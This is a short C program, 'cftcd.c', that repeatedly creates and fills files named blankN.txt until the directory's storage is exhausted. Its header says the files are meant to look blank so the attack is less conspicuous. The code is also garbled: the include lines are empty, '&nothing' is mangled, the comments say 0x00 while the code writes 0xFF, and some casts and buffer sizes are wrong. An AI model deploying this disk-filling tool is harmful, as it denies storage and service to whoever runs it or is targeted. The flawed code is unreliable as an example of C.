/**************************************************************************************** * * * Program Name: Completely Fill The Current Directory * * * * File Name: cftcd.c * * * * Version: 1.1 * * * * Purpose: This completely fill the current directory with a file called blank.txt * * with 0x00's in binary mode. 0x00 doesn't show up as anything in a text file so * * that when someone opens it they see a blank .txt file. This makes it far less * * conspicuous. * * * * Author: Thaddeus Joseph Jancewicz * * * ****************************************************************************************/ #include #include #include void do_nothing(void); void main(void) { FILE *blank = NULL; /* all of the casts in code make sure this doesn't get converted and tak up another byte */ /* we need this nothing because fwrite() needs a ptr */ unsigned char nothing = (unsigned char) 0xFF, file_full = (unsigned char) 0, write_limit_checker = 0, *file_suffix = NULL, *file_name = NULL; unsigned long file_suffix_counter = 0, write_size = 0xFFFFFFFF; /* the file name is blankx.txt, this counter keeps track of x */ /* we need a number in name for more than one file if one hits the file size limit */ for(file_suffix_counter = (unsigned char) 0;;(unsigned char) file_suffix_counter++) {/* set things up then loop until we fill the file up then loop back around and make another file to fill up if we hit the file size limit and loop until we can't make another file*/ /* get space for the number in an implementation independent way */ if(!(file_suffix = calloc((11 * (sizeof(unsigned char))), (sizeof(unsigned char))))) {/* just great */ goto end; } /* converts the number in the counter into a string */ sprintf(file_suffix, "%u", file_suffix_counter); /* get space to be used for the file name string */ if(!(file_name = calloc(((10 * (sizeof(unsigned char))) + ((strlen(file_suffix)) * (sizeof(unsigned char)))), (sizeof(unsigned char))))) { goto end; } /* if we don't do this, it'll point to a string that shouldn't be edited that's in the stack */ file_name[0] = 'b'; file_name[1] = 'l'; file_name[2] = 'a'; file_name[3] = 'n'; file_name[4] = 'k'; file_name[5] = '\0'; /* file_name(which is for now the prefix) + number in counter + extension then back into file_name */ file_name = strcat((strcat(file_name, file_suffix)), ".txt"); /* open the file in binary append mode */ /* this may take a while to fill up what you're trying to fill up, so we set it for append which means to add to the end of the file so if we have to stop, we can continure later */ if(!(blank = fopen(file_name, "a+b"))) { goto end; } /* clears these up, I'm a minimalist programmer so I get rid of everything when I don't need it */ free(file_suffix); free(file_name); setbuf(blank, NULL); /* no buffer, immeadiate write, flushing takes too long */ /* there's normally a buffer that gets written to, then you have to flush it to write to the file but that just takes too long so we disable the buffer */ for(file_full = (unsigned char) 1;file_full;) {/* write to the file until we hit the file size limit */ write_limit_checker = fwrite(¬hing, (sizeof(char)), write_size, blank); if(1 > write_size) {/* we're probably done with this file */ file_full = (unsigned char) 0; } else if(write_limit_checker < write_size) {/* tries to write a smaller size */ write_size /= 2; } }/* close up the file, we don't need it anymore */ fclose(blank); write_size = 0xFFFFFFFF; } end: do_nothing(); /* we have to or we get a compiler error */ } void do_nothing(void){}/* yes, this really does nothing */